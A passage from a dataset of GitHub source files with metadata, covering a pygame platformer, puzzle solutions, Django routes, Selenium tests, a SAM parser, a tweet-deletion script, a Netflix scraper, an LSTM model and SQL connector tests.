False):\n player_y = new_player_y\n\n # updating\n\n #drawing#######################################################################################\n\n # Background\n screen.fill(BACKROUND_COLOR)\n\n # Platforms\n for p in platforms:\n pygame.draw.rect(screen, GROUND_COLOR, p)\n\n # Player\n if(player_state == \"idle\"):\n if player_direction == \"right\":\n player_idle_animation.draw(screen, player_x, player_y, False)\n\n else:\n player_idle_animation.draw(screen, player_x, player_y, True)\n\n else:\n if player_direction == \"right\":\n player_walking_animation.draw(screen, player_x, player_y, False)\n\n else:\n player_walking_animation.draw(screen, player_x, player_y, True)\n\n # Screen\n pygame.display.flip()\n clock.tick(FPS)\n ###############################################################################################\n\n\n# quit\npygame.quit()\n","repo_name":"theNaukiMatic/test2DPlatformer","sub_path":"platformer.py","file_name":"platformer.py","file_ext":"py","file_size_in_byte":5261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23564068091","text":"f=open(\"input.in\",\"r\")\r\no=open(\"output.txt\",\"w\")\r\n\r\nT=int(f.readline().strip())\r\n\r\nfor i in range(1,T+1):\r\n o.write(\"Case #{}: \".format(i))\r\n line=int(f.readline().strip())\r\n num1=line\r\n \r\n for j in range(line):\r\n num=list(str(num1))\r\n num_s=list(str(num1))\r\n num_s.sort()\r\n #print(num)\r\n #print(num_s)\r\n if num==num_s:\r\n o.write(\"\".join(num)+\"\\n\")\r\n break\r\n else:\r\n num1-=1\r\n\r\nf.close()\r\no.close()\r\n \r\nprint(\"Done\")\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_200/5270.py","file_name":"5270.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3942780253","text":"from django.conf.urls import url, re_path\nfrom oblog import views\nfrom werobot.contrib.django import make_view\nfrom oblog import newrobot\nfrom oblog import robot\nfrom django.conf import settings\n\napp_name = 'oblog'\nurlpatterns = [\n url(r'^search/$', views.search),\n url('^$', views.blog_index, name='index'),\n url(r'^index/$', views.blog_index),\n url(r'^about/$', views.aboutme),\n url(r'^article/(?P<article_id>[0-9]+)/$', views.blog_info),\n # url(r'^weather/$',views.getlocalweather),\n # url(r'love/',views.getlove),\n # url(r'lovepic/',views.getlovepic),\n url(r'^document/', views.getdocument),\n url(r'^robot/', views.weixin),\n url(r'^mymenu/', views.mymenu),\n url(r'^download/$', views.file_down, name='download'),\n url(r'^email/', views.sendemail),\n url(r'^login/', views.login, name='login'),\n url(r'^register/', views.register),\n url(r'^logout/', views.logout),\n url(r'^new/', views.newindex),\n url(r'^monitor/', views.monitor),\n url(r'^savemessage/', views.savemessage),\n url(r'^inputtranslate/', views.inputtranslate),\n url(r'^translate/', views.translate),\n url(r'^videotest/', views.videotest),\n url(r'^film/', views.movie_list, name=\"movie\"),\n url(r'^videoplayer/(?P<film_name>.+)/$', views.videoplayer),\n url(r'^article/(?P<article_id>[0-9]+)/comment', views.comment_view, name='comment'),\n url(r'^time/', views.timeline),\n url(r'^greats/(?P<article_id>[0-9]+)', views.greats),\n url(r'^list/', views.blog_list),\n url(r'^articles/(.+)/$', views.blog_category),\n\n]\n","repo_name":"Arithmeticjia/MyBlog","sub_path":"oblog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1561,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"5785823060","text":"#encoding=utf-8\n## SOLVED 2014/04/18\n## 4075\n\n# There are exactly ten ways of selecting three from five, 12345:\n\n# 123, 124, 125, 134, 135, 145, 234, 235, 245, and 345\n\n# In combinatorics, we use the notation, 5_C_3 = 10.\n\n# In general,\n# n_C_r = n! / (r! * (n - r)!)\n\n# It is not until n = 23, that a value exceeds one-million: 23_C_10 = 1144066.\n\n# How many, not necessarily distinct, values of n_C_r, for 1 ≤ n ≤ 100, are\n# greater than one-million?\n\n# highest value for 'n'\nHIGHEST_N = 100\n\n# the minimum value for an answer to be valid\nTHRESHOLD = 1000000\n\ndef euler():\n # number of values above one million\n answer_count = 0\n # for each value of n\n for n in range(1, HIGHEST_N + 1):\n # for each value of r, from 1 to n - 1\n for r in range(1, n):\n # if the number of possibilities is higher than one million\n if factorial(n) / (factorial(r) * factorial(n - r)) > THRESHOLD:\n # increment the number of answers\n answer_count += 1\n # return the number of answers\n return answer_count\n\n# optimizes the factorial() function through memoization\nfactorial_cache = {0: 1}\ndef factorial(n):\n \"\"\"Returns the factorial of n.\"\"\"\n # use cache if possible\n if n in factorial_cache:\n return factorial_cache[n]\n # otherwise, fill cache recursively, and *then* use it\n else:\n factorial_cache[n] = n * factorial(n - 1)\n return n * factorial(n - 1)\n","repo_name":"6112/project-euler","sub_path":"problems/053.py","file_name":"053.py","file_ext":"py","file_size_in_byte":1460,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10172005246","text":"import math\nimport time\n\nimport pytest\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support import expected_conditions\nfrom selenium.webdriver.support.ui import WebDriverWait\n\n\"\"\"https://stepik.org/lesson/237240/step/3\n\npytest -s -v Lesson_3/3_6_pytest_parametrize/test_parametrize2.py\n\"\"\"\n\n\n@pytest.fixture(scope=\"function\")\ndef browser():\n print(\"\\nstart browser for test..\")\n browser = webdriver.Chrome()\n yield browser\n print(\"\\nquit browser..\")\n browser.quit()\n\n\nlinks = [\n 'https://stepik.org/lesson/236895/step/1',\n 'https://stepik.org/lesson/236896/step/1',\n 'https://stepik.org/lesson/236897/step/1',\n 'https://stepik.org/lesson/236898/step/1',\n 'https://stepik.org/lesson/236899/step/1',\n 'https://stepik.org/lesson/236903/step/1',\n 'https://stepik.org/lesson/236904/step/1',\n 'https://stepik.org/lesson/236905/step/1'\n]\n\n\ndef get_answer():\n return str(math.log(int(time.time())))\n\n\nclass TestUFO(object):\n @pytest.mark.parametrize('link', links)\n def test_get_ufo_message(self, browser, link):\n browser.get(link)\n answer_input = WebDriverWait(browser, 20).until(\n expected_conditions.element_to_be_clickable(\n (By.CSS_SELECTOR, 'div[class=\"attempt\"] textarea'))\n )\n answer_input.send_keys(get_answer())\n browser.find_element_by_css_selector('button[class^=\"submit\"]').click()\n WebDriverWait(browser, 10).until(\n expected_conditions.presence_of_element_located(\n (By.CSS_SELECTOR, '[class=\"attempt__message\"]>span[class*=\"correct_icon\"]'))\n )\n text_message = browser.find_element_by_css_selector('pre[class=\"smart-hints__hint\"]').text\n assert text_message == 'Correct!', 'text_message({}) != \"Correct!\"'.format(text_message)\n","repo_name":"Hexogon73/stepik_selenium","sub_path":"Lesson_3/3_6_pytest_parametrize/test_parametrize2.py","file_name":"test_parametrize2.py","file_ext":"py","file_size_in_byte":1852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13045490212","text":"#!/usr/bin/python\nfrom __future__ import print_function\nimport sys\nimport math\nimport argparse\nimport ntpath\nimport os\nimport re\nimport fileinput\nfrom itertools import zip_longest\n\ndef grouper(iterable, n, fillvalue=None):\n \"Collect data into fixed-length chunks or blocks\"\n # grouper('ABCDEFG', 3, 'x') --> ABC DEF Gxx\n args = [iter(iterable)] * n\n return zip_longest(fillvalue=fillvalue, *args)\n\ndef joinStrings(separator, stringList):\n return separator.join(str(string) for string in stringList)\n\nregex = re.compile(\"(\\d+)(\\w)\")\ndef regex_split(cigar):\n return list(filter(None, regex.split(cigar)))\n\n\ndef is_event(event, known_event):\n if event in known_event:\n return True\n return False\n\nknown_event1 = {\n ('M',):1\n }\n\nknown_event2 = {\n ('M','S'):2, \n ('S','M'):1\n }\n\nknown_event3 = {\n ('M','N','M'):2, \n ('M','I','M'):2,\n ('M','D','M'):2\n }\n\ndef get_pos_offset(increment, operation):\n pos = 0\n offset = 0\n\n if operation == 'M':\n pos += increment\n offset += increment\n elif operation == 'I':\n offset += increment\n elif operation == 'D':\n pos += increment\n elif operation == 'N':\n pos += increment\n elif operation == 'S':\n offset += increment\n\n return(pos, offset)\n\ndef po_inc(old, new):\n old = (old[0] + new[0], old[1] + new[1])\n return(old)\n\ndef event_offsets(old_offset, operations_range, increments_range): \n offset_list = [old_offset]\n for i in range(len(operations_range)):\n old_offset = po_inc(old_offset, get_pos_offset(increments_range[i], operations_range[i]))\n offset_list.append(old_offset)\n\n return offset_list\n\ndef process_cigar_operations(cigar_increments, cigar_operations):\n offset = (0, 0)\n i = 0\n inf_loop_breaker = 0\n\n if len(cigar_operations) == 1:\n operations_range = cigar_operations[i:i+1]\n increments_range = cigar_increments[i:i+1]\n if(is_event(operations_range, known_event1)):\n ev_offsets = event_offsets(offset, operations_range, increments_range)\n yield (operations_range, ev_offsets)\n else:\n while i < len(cigar_operations)-1:\n if i < len(cigar_operations)-1:\n operations_range = cigar_operations[i:i+2]\n increments_range = cigar_increments[i:i+2]\n if(is_event(operations_range, known_event2)):\n ev_offsets = event_offsets(offset, operations_range, increments_range)\n yield (operations_range, ev_offsets)\n offset = ev_offsets[len(ev_offsets)-1]\n i+=known_event2[operations_range]\n \n if i < len(cigar_operations)-2:\n operations_range = cigar_operations[i:i+3]\n increments_range = cigar_increments[i:i+3]\n if(is_event(operations_range, known_event3)):\n ev_offsets = event_offsets(offset, operations_range, increments_range)\n yield (operations_range, ev_offsets)\n offset = ev_offsets[len(ev_offsets)-1]\n i+=known_event3[operations_range]\n \n if inf_loop_breaker > 100:\n print(cigar_operations)\n raise Exception(\"Unknown cigar_template\")\n else: inf_loop_breaker+=1\n\ndef bulk_1(line):\n spl = {} \n\n temp = line.split('\\t')\n temp[-1] = temp[-1].rstrip()\n \n spl[\"cell_id\"] = temp[0].split(\":\")[0]\n spl[\"flag\"] = int(temp[1])\n spl[\"ref\"] = temp[2]\n spl[\"pos\"] = int(temp[3])\n spl[\"cigar\"] = temp[5]\n if spl[\"cigar\"] == '*':\n return \n spl[\"match\"] = temp[9]\n return spl \n\ndef smart_seq2(line):\n spl = {}\n\n temp = line.split('\\t')\n temp[-1] = temp[-1].rstrip()\n \n spl[\"cell_id\"] = temp[0].split(\".\")[0]\n spl[\"flag\"] = int(temp[1])\n spl[\"ref\"] = temp[2]\n spl[\"pos\"] = int(temp[3])\n spl[\"cigar\"] = temp[5]\n if spl[\"cigar\"] == '*':\n return \n spl[\"match\"] = temp[9]\n return spl\n\ndef process_sam_line(line):\n\n spl = smart_seq2(line)\n if spl == None: return\n\n cell_id = spl[\"cell_id\"]\n flag = spl[\"flag\"]\n ref = spl[\"ref\"]\n pos = spl[\"pos\"]\n cigar = spl[\"cigar\"]\n match = spl[\"match\"]\n\n BAM_FREAD1 = 0x40\n BAM_FREAD2 = 0x80\n BAM_FREVERSE = 0x10\n STRAND = [\"+\", \"-\"]\n read = [1, 0]\n\n s = (flag & BAM_FREVERSE)>0\n strand = (s + read[0]) & 1 if flag & BAM_FREAD1 else (s + read[1]) & 1\n offset = 0\n match_start = 0\n match_intervals = []\n event_list = []\n\n cigar_split = regex_split(cigar)\n\n operations = tuple(cigar_split[i] for i in range(1, len(cigar_split), 2))\n increments = tuple(int(cigar_split[i]) for i in range(0, len(cigar_split), 2))\n\n\n for event, offsets_range in process_cigar_operations(increments, operations):\n \n if event == ('M',):\n if(offsets_range[1][1] - offsets_range[0][1] < 0): continue\n\n print(\n ref, \n pos + offsets_range[0][0], \n pos + offsets_range[1][0], \n STRAND[strand], \n joinStrings(\",\", event),\n cell_id, \n match[offsets_range[0][1]:offsets_range[1][1]], \n \"*\",\n sep = \"\\t\"\n )\n\n if event == ('M', 'N', 'M'):\n if(offsets_range[1][1] - offsets_range[0][1] < 0): continue\n if(offsets_range[3][1] - offsets_range[2][1] < 0): continue\n\n print(\n ref, \n pos + offsets_range[1][0] - 1, \n pos + offsets_range[2][0], \n STRAND[strand], \n joinStrings(\",\", event),\n cell_id, \n match[offsets_range[0][1]:offsets_range[1][1]], \n match[offsets_range[2][1]:offsets_range[3][1]],\n sep = \"\\t\"\n )\n if event == ('M', 'S'):\n if(offsets_range[1][1] - offsets_range[0][1] < 0): continue\n if(offsets_range[2][1] - offsets_range[1][1] < 0): continue\n\n print(\n ref,\n pos + offsets_range[0][0], \n pos + offsets_range[1][0], \n STRAND[strand], \n joinStrings(\",\", event),\n cell_id, \n match[offsets_range[0][1]:offsets_range[1][1]], \n match[offsets_range[1][1]:offsets_range[2][1]],\n sep = \"\\t\"\n )\n\n if event == ('S', 'M'):\n if(offsets_range[1][1] - offsets_range[0][1] < 0): continue\n if(offsets_range[2][1] - offsets_range[1][1] < 0): continue\n \n print(\n ref,\n pos + offsets_range[1][0], \n pos + offsets_range[2][0], \n STRAND[strand], \n joinStrings(\",\", event),\n cell_id, \n match[offsets_range[0][1]:offsets_range[1][1]], \n match[offsets_range[1][1]:offsets_range[2][1]],\n sep = \"\\t\"\n )\n\n\nparser = argparse.ArgumentParser(description='Hola\\n')\nparser.add_argument('-f', \"--file\", dest=\"file\", metavar='file', type=str, default = None,\n help='sam-file')\nparser.add_argument('-nb', \"--nbins\", dest=\"nbins\", metavar='nbins', type=int,\n help='number of bins', default=2147483647)\n\nargs = parser.parse_args()\n\nfile = args.file\nnbins = args.nbins\n\nif(file==None):\n f = fileinput.input()\nelse:\n f = open(file).readlines()\n\n\nfor line in f:\n process_sam_line(line)\n\n","repo_name":"testaibot/proc_simple","sub_path":"scripts/sam_to_jk_events.py","file_name":"sam_to_jk_events.py","file_ext":"py","file_size_in_byte":7861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40603353857","text":"import logging\nimport json\nimport time\n\nfrom wrapped_pytwitter_api import *\n\n# Loop through all the user tweets and delete them\n#\n# https://developer.twitter.com/en/docs/twitter-api/tweets/manage-tweets/api-reference/delete-tweets-id\n#\n# The API has a ratelimit of 50 delete requests per 15 min. Code will pause if rate limit is exceeded and\n# then continue.\n#\n# For long runs, the code will refresh the authentication bearer token when it expires\n#\n\n\ndef bleach_tweets(api, delete_limit=None, tweets_archive_file=None, _dont_actually_bleach=False):\n \"\"\"\n Delete all tweets and retweets for a specified user\n\n :param api: Instance of an authenticated pytwitter2 WrappedPyTwitterAPI\n :param delete_limit: Limit of number of tweets to delete. Default is None, which is to delete all\n :param tweets_archive_file: File to archive tweets to. Default is None, which is no archive\n :param _dont_actually_bleach: boolean to not actually make DELETE API call. For testing. Default False\n :return: Total number of tweets deleted\n \"\"\"\n\n twitter_me = api.get_me(return_json=True)\n twitter_user_id = twitter_me[\"data\"][\"id\"]\n\n total_tweets_deleted = 0\n tweets_not_processed = []\n\n pagination_token = None\n\n while delete_limit is None or total_tweets_deleted <= delete_limit:\n try:\n user_tweets_query_result = api.get_timelines(user_id=twitter_user_id,\n return_json=True,\n max_results=50,\n pagination_token=pagination_token)\n\n tweet_ids_to_delete = list(map(lambda t: t[\"id\"], user_tweets_query_result['data']))\n\n logging.debug(\"List of user '{}' tweet IDs to delete from API {}\".format(twitter_user_id,\n tweet_ids_to_delete)\n )\n logging.debug(\"List of user '{}' tweet IDs to delete residual from last run {}\".format(twitter_user_id,\n tweets_not_processed)\n )\n\n tweets_to_process = user_tweets_query_result['data'] + tweets_not_processed\n tweets_not_processed = []\n\n for tweet in tweets_to_process:\n if delete_limit is not None and total_tweets_deleted > delete_limit:\n break\n\n logging.info(\"archive of tweet '{}'\".format(json.dumps(tweet)))\n try:\n if tweet['text'].startswith(\"RT \"):\n delete_response = api.remove_retweet_tweet(user_id=twitter_user_id, tweet_id=tweet[\"id\"])\n else:\n delete_response = api.delete_tweet(tweet_id=tweet[\"id\"])\n logging.debug(\"Response to delete of tweet {} '{}'\".format(tweet[\"id\"], delete_response))\n total_tweets_deleted += 1\n\n except WrappedPyTwitterAPIRateLimitExceededException:\n # NOTE There is a rate limit of 50 'delete tweet' per 15 min window\n # https://developer.twitter.com/en/docs/twitter-api/tweets/manage-tweets/api-reference/delete-tweets-id\n tweets_not_processed.append(tweet)\n logging.info(\n \"Unlike Tweet rate limit exceeded. Waiting 15min. Deleted so far {}\".format(\n total_tweets_deleted))\n time.sleep(900)\n continue\n\n if 'next_token' not in user_tweets_query_result['meta'].keys():\n break\n\n pagination_token = user_tweets_query_result['meta']['next_token']\n\n except WrappedPyTwitterAPIUnauthorizedException:\n logging.info(\"Authentication failed. Access token may have expired\")\n api.refresh_access_token()\n continue\n except pytwitter.error.PyTwitterError as ptw:\n logging.fatal(\"PyTwitterError with unknown message format '{}'\".format(ptw.message['status'], ptw.message))\n break\n\n logging.debug(f\"Total deleted {total_tweets_deleted}\")\n return total_tweets_deleted\n","repo_name":"rdpickard/twitter_bleach","sub_path":"bleach_twitter_tweets.py","file_name":"bleach_twitter_tweets.py","file_ext":"py","file_size_in_byte":4307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17795693961","text":"import requests\r\nimport asyncio\r\nfrom bs4 import BeautifulSoup\r\nimport aiohttp\r\nimport pandas as pd\r\nimport numpy\r\nfrom openpyxl.workbook import Workbook\r\n\r\ndef Reporte(a,b,c,d,e):\r\n Direccion=a\r\n Etiqueta=b\r\n Propiedad=c\r\n Valor=d\r\n page = requests.get(Direccion)\r\n soup = BeautifulSoup(page.content,'html.parser')\r\n result=soup.find_all(Etiqueta,{Propiedad:Valor})\r\n results=list()\r\n for i in result:\r\n results.append(i.text)\r\n if(e==1):\r\n for i in results:\r\n print(i)\r\n if(e==2):\r\n return results\r\n\r\nReporte(\"https://www.netflix.com/ve/browse/genre/839338\",\"span\",\"class\",\"nm-collections-title-name\",1)\r\nCampo1=Reporte(\"https://www.netflix.com/ve/browse/genre/839338\",\"span\",\"class\",\"nm-collections-title-name\",2)\r\n\r\npage = requests.get(\"https://www.netflix.com/ve/browse/genre/839338\")\r\nsoup = BeautifulSoup(page.content,'html.parser')\r\nresult=soup.find_all(\"a\",{\"class\":\"nm-collections-title nm-collections-link\"})\r\nresults=list()\r\nDirecciones=list()\r\nCampo3=list()\r\nCampo4=list()\r\nCampo5=list()\r\nCampo6=list()\r\nCampo7=list()\r\nCampo7aux=list()\r\nfor i in result:\r\n results.append(i)\r\nfor i in results:\r\n print(i.get(\"href\"))\r\n Direcciones.append(i.get(\"href\"))\r\nj=0\r\n\r\nfor i in Direcciones:\r\n Reporte(i,\"span\",\"class\",\"maturity-number\",1)\r\n Campo3.append(Reporte(i,\"span\",\"class\",\"maturity-number\",2))\r\n j=j+1\r\n if(j>20):\r\n break\r\nj=0\r\nfor i in Direcciones:\r\n Reporte(i,\"span\",\"class\",\"title-info-metadata-item item-year\",1)\r\n Campo4.append(Reporte(i,\"span\",\"class\",\"title-info-metadata-item item-year\",2))\r\n j=j+1\r\n if(j>20):\r\n break\r\nj=0\r\nfor i in Direcciones:\r\n Reporte(i,\"span\",\"class\",\"test_dur_str\",1)\r\n Campo5.append(Reporte(i,\"span\",\"class\",\"test_dur_str\",2))\r\n j=j+1\r\n if(j>20):\r\n break\r\nj=0\r\nfor i in Direcciones:\r\n Reporte(i,\"a\",\"class\",\"title-info-metadata-item item-genre\",1)\r\n Campo6.append(Reporte(i,\"a\",\"class\",\"title-info-metadata-item item-genre\",2))\r\n j=j+1\r\n if(j>20):\r\n break\r\nj=0\r\n\r\nfor i in Direcciones:\r\n\r\n Campo7aux=(Reporte(i,\"div\",\"class\",\"episode\",2))\r\n episodios=0\r\n for k in Campo7aux:\r\n episodios=episodios+1\r\n Campo7.append(episodios)\r\n print(episodios)\r\n j=j+1\r\n if(j>20):\r\n break\r\nj=0\r\ndf=pd.DataFrame()\r\ndf2=pd.DataFrame()\r\ndf3=pd.DataFrame()\r\ndf4=pd.DataFrame()\r\ndf5=pd.DataFrame()\r\ndf6=pd.DataFrame()\r\ndf7=pd.DataFrame()\r\ndf[\"Nombres\"]=Campo1\r\ndf2[\"Direcciones\"]=Direcciones\r\ndf3[\"RestriccionDeEdad\"]=Campo3\r\ndf4[\"Anio\"]=Campo4\r\ndf5[\"Duracion\"]=Campo5\r\ndf6[\"Tipo\"]=Campo6\r\ndf7[\"Episodios\"]=Campo7\r\ndf.to_excel(\"ScrappingEnNetflix.xlsx\")\r\ndf2.to_excel(\"ScrappingEnNetflix2.xlsx\")\r\ndf3.to_excel(\"ScrappingEnNetflix3.xlsx\")\r\ndf4.to_excel(\"ScrappingEnNetflix4.xlsx\")\r\ndf5.to_excel(\"ScrappingEnNetflix5.xlsx\")\r\ndf6.to_excel(\"ScrappingEnNetflix6.xlsx\")\r\ndf7.to_excel(\"ScrappingEnNetflix7.xlsx\")\r\n","repo_name":"CreadorDeLaLuz/PruebaSopaScrapping","sub_path":"PruebaSopa.py","file_name":"PruebaSopa.py","file_ext":"py","file_size_in_byte":2916,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6981224032","text":"from datetime import datetime, timedelta\nfrom typing import List\n\nfrom django.db.models import Q\n\nfrom api.models import Dish\nfrom emails.emails_utils import Email, EmailMixins, MassEmailABC\nfrom emenu.settings import env\n\n\nclass UpdateNewDishesFromYesterday(EmailMixins, MassEmailABC):\n def prepare_mass_emails(self) -> List[Email]:\n subject = 'New or modified dishes'\n message = self._get_message()\n return [\n Email(\n subject=subject,\n message=message,\n from_email=env('EMAIL_HOST_USER'),\n recipient_list=[user_email],\n )\n for user_email in self.all_active_users_emails\n ]\n\n def _get_message(self) -> str:\n yesterday = datetime.now() - timedelta(days=1)\n new_or_modified_menus = Dish.objects.filter(\n Q(created__gte=yesterday) | Q(modified__gte=yesterday)\n ).values_list('name', 'id')\n dishes = ' '.join(\n {\n f'{dish_name}({dish_id})'\n for dish_name, dish_id in new_or_modified_menus\n }\n )\n if dishes:\n return f'Following dishes were added or modified: {dishes}.'\n return 'There are no new or modified dishes from yesterday.'\n","repo_name":"Marek-Chalabis/eMenu","sub_path":"emails/emails_creators.py","file_name":"emails_creators.py","file_ext":"py","file_size_in_byte":1278,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31227393771","text":"class dictionary_iter:\n def __init__(self, a_dict):\n self.dict = list(a_dict.items())\n self.count = -1\n\n def __iter__(self):\n return self\n\n def __next__(self):\n if self.count >= len(self.dict) - 1:\n raise StopIteration\n\n self.count += 1\n return self.dict[self.count]\n\n\nresult = dictionary_iter({1: \"1\", 2: \"2\"})\nfor x in result:\n print(x)\n\nresult = dictionary_iter({\"name\": \"Peter\", \"age\": 24})\nfor x in result:\n print(x)\n","repo_name":"Iliyan-H-Iliev/Python","sub_path":"OOP/Iterators and Generators/Iterators and Generators - Ex/02_dictionary_iter.py","file_name":"02_dictionary_iter.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"22060457621","text":"from __future__ import print_function, division\nfrom keras.layers import Input, Dense, Dropout\nfrom keras.layers import BatchNormalization, Activation, Concatenate,Reshape,LSTM\nfrom keras.models import Model\nfrom keras.optimizers import Adam\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom pandas import read_csv\nfrom sklearn.preprocessing import MinMaxScaler\n\nclass CGAN():\n def __init__(self):\n # number of hidden units in LSTM cells\n self.hidden_len = 24\n # length of LSTM input\n self.condition_len = 48\n # bulid LSTM model\n self.prediction = self.bulid_lstm()\n # create optimier and compile the LSTM model\n adam = Adam(lr=0.0009, beta_1=0.9, beta_2=0.999, epsilon=1e-08)\n self.prediction.compile(loss='mse', optimizer=adam, metrics=['accuracy'])\n\n\n\n def bulid_lstm(self):\n\n ip = Input(shape=(48,))\n y = Reshape([48, 1])(ip)\n y = LSTM(self.hidden_len, dropout=0.2, recurrent_dropout=0.2)(y)\n y = Dense(24)(y)\n output = Activation('relu')(y)\n\n model = Model(ip, output)\n model.summary()\n return model\n\n\n def train(self, epochs, save_interval=50):\n\n dataframe = read_csv('data.csv')\n dataset = dataframe.values\n dataset = dataset.astype('float32')\n dataset = np.array(dataset)\n scaler = MinMaxScaler(feature_range=(0, 1))\n dataset = scaler.fit_transform(dataset)\n\n #distribute raw data\n x = np.zeros((len(dataset)-72, 72))\n for i in range(len(dataset)-72):\n x[i] = np.reshape(dataset[i:i+72],72)\n\n\n\n # training set and testing set\n x = x [:len(x)-1]\n y = x[-1]\n\n\n for epoch in range(epochs):\n #Train model\n conditions = x[:, 0:self.condition_len]\n result = x[:, self.condition_len:]\n loss = self.prediction.train_on_batch(conditions, result)\n\n # Testing modelmt\n if epoch % save_interval == 0:\n test_con = y[0:self.condition_len]\n test_con = np.reshape(test_con,(1,48))\n test_res = y[self.condition_len:]\n res = self.prediction.predict(test_con)\n res = np.reshape(res,(1,24))\n plt.title('Prediction by LSTM \\n Training time: %d'%(epoch))\n plt.plot(test_res)\n plt.plot(res[0])\n plt.legend(['Data', 'Prediction'])\n plt.show()\n\n\nif __name__ == '__main__':\n cgan = CGAN()\n cgan.train(epochs=1000, save_interval=100)\n","repo_name":"yananYangYSU/EFRA","sub_path":"python/lstm.py","file_name":"lstm.py","file_ext":"py","file_size_in_byte":2575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15337042036","text":"import pytest\nfrom pathlib import Path\nfrom jupyter_sql_cell.sqlconnector import SQLConnector\n\ndef teardown_function():\n SQLConnector.databases = []\n\n\n@pytest.fixture\ndef db_path() -> Path:\n return Path(__file__).parent / \"data\" / \"world.sqlite\"\n\n\n@pytest.fixture\ndef add_database(db_path):\n SQLConnector.add_database({\n \"alias\": \"default\",\n \"database\": str(db_path),\n \"dbms\": \"sqlite\",\n \"driver\": None,\n \"host\": None,\n \"port\": None\n })\n\n\n@pytest.fixture\ndef add_sync_database(db_path):\n SQLConnector.add_database({\n \"alias\": \"default\",\n \"database\": str(db_path),\n \"dbms\": \"sqlite\",\n \"driver\": \"pysqlite\",\n \"host\": None,\n \"port\": None\n })\n\n\n\"\"\"\nShould create an SqlConnector object without database.\n\"\"\"\nasync def test_sql_connector_init():\n assert len(SQLConnector.databases) == 0\n connector = SQLConnector(0)\n assert type(connector) == SQLConnector\n assert len(connector.databases) == 0\n assert len(connector.errors) == 1\n assert \"no registered database with id 0\" in connector.errors[0]\n\n\n\"\"\"\nShould add a default driver.\n\"\"\"\nasync def test_sql_connector_without_driver(add_database):\n assert len(SQLConnector.databases) == 1\n connector = SQLConnector(0)\n assert len(connector.errors) == 0\n\n\n\"\"\"\nShould add a sync database.\n\"\"\"\nasync def test_sql_connector_with_sync_driver(add_sync_database):\n assert len(SQLConnector.databases) == 1\n connector = SQLConnector(0)\n assert len(connector.errors) == 0\n\n\n\"\"\"\nShould return tables list on async database.\n\"\"\"\nasync def test_schema_tables(add_database):\n connector = SQLConnector(0)\n schema = await connector.get_schema(\"tables\")\n assert len(schema) == 1\n assert schema == [\"world\"]\n\n\n\"\"\"\nShould return tables list on sync database.\n\"\"\"\nasync def test_schema_tables_sync(add_sync_database):\n connector = SQLConnector(0)\n schema = await connector.get_schema(\"tables\")\n assert len(schema) == 1\n assert schema == [\"world\"]\n\n\n\"\"\"\nShould return columns list on async database.\n\"\"\"\nasync def test_schema_columns(add_database):\n connector = SQLConnector(0)\n schema = await connector.get_schema(\"columns\", \"world\")\n assert len(schema) == 35\n assert \"Abbreviation\" in schema\n\n\n\"\"\"\nShould return columns list on sync database.\n\"\"\"\nasync def test_schema_columns_sync(add_sync_database):\n connector = SQLConnector(0)\n schema = await connector.get_schema(\"columns\", \"world\")\n assert len(schema) == 35\n assert \"Abbreviation\" in schema\n","repo_name":"QuantStack/jupyter-sql-cell","sub_path":"jupyter_sql_cell/tests/test_connector.py","file_name":"test_connector.py","file_ext":"py","file_size_in_byte":2542,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20005658081","text":"import sqlite3\nfrom datos.base_de_datos import BaseDeDatos\nfrom datos.tablas import crear_tablas\n\nconexion = sqlite3.connect('bid2win.db')\n\ndef listar_usuario_cliente(conexion):\n sql = \"SELECT * FROM customer;\"\n\n cursor = conexion.cursor()\n cursor.execute(sql)\n clientes = cursor.fetchall()\n\n for c in clientes:\n print(c)\n lista_clientes = list(c)\n print (lista_clientes)\n\nprint(\"lista clientes: \")\nlistar_usuario_cliente(conexion)\n\ndef listar_cotizaciones_proveedor(conexion):\n sql = \"SELECT * FROM quote WHERE SUPPLIER = 'Hilton';\"\n\n cursor = conexion.cursor()\n cursor.execute(sql)\n cotizaciones = cursor.fetchall()\n\n for c in cotizaciones:\n print(c)\n lista_cotizaciones = list(c)\n print (lista_cotizaciones)\n\nprint(\"lista cotizaciones: \")\nlistar_cotizaciones_proveedor(conexion)","repo_name":"AngieGaricoits/BID2WIN","sub_path":"datos/tablas/listas.py","file_name":"listas.py","file_ext":"py","file_size_in_byte":853,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32648962056","text":"import heapq\nclass Node:\n count = 1\n def __init__(self, val):\n self.value = val\n def __lt__(self, other):\n return self.value > other.value\n def get_value(self):\n if self.count == 1:\n return \"Gold Medal\"\n elif self.count == 2:\n return \"Silver Medal\"\n elif self.count == 3:\n return \"Bronze Medal\"\n else:\n return str(self.count)\nclass Solution:\n def findRelativeRanks(self, score: List[int]) -> List[str]:\n nodes = [Node(node) for node in score]\n heapq.heapify(nodes)\n ans = []\n mp = {}\n while len(nodes) > 0:\n n = heapq.heappop(nodes)\n mp[n.value]= n.get_value()\n Node.count += 1\n ans = []\n for el in score:\n 